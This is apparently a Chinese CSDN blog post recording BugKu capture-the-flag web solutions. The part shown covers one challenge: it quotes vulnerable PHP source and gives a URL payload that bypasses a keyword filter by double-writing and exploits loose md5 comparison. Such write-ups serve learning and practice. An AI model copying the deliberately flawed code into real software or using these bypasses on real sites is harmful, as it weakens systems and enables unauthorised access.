[BugKu]刷题记录

最新推荐文章于 2022-07-16 09:34:10 发布

huamanggg

最新推荐文章于 2022-07-16 09:34:10 发布

阅读量226

点赞数

分类专栏：刷题记录

本文链接：https://blog.csdn.net/m0_51078229/article/details/114285301

版权

本文记录了BugKu平台上的Web安全题目，涉及正则绕过、base64编码与解码、PHP特性利用等技巧。在web 16中，通过双写绕过与md5碰撞找到payload；web 20中，通过base64解码获取源码并利用特定cookie值访问隐藏页面；web 21则需要理解PHP解析规则及php://input的用法来构造有效payload。

摘要由CSDN通过智能技术生成

web 16

使用dirmap扫描到index.php.bak

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
   
    echo $flag."取得flag";
}

这里有一个$_SERVER['REQUEST_URI']，作用是获取url后面的东西
在这里插入图片描述
还有一个parse_str()函数

有一个过滤，但是这种可以双写绕过$str = str_replace('key','',$str);
然后就是一个md5碰撞
payload：

?kekeyy1=QLTHNDT&kekeyy2=QNKCDZO

No one knows regex better than me

最低0.47元/天解锁文章

huamanggg

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
打赏
0
评论
[BugKu]刷题记录

web 16使用dirmap扫描到index.php.bakinclude_once "flag.php";ini_set("display_errors", 0);$str = strstr($_SERVER['REQUEST_URI'], '?');$str = substr($str,1);$str = str_replace('key','',$str);parse_str($str);echo md5($key1);echo md5($key2);if(md5($key1)
复制链接

扫一扫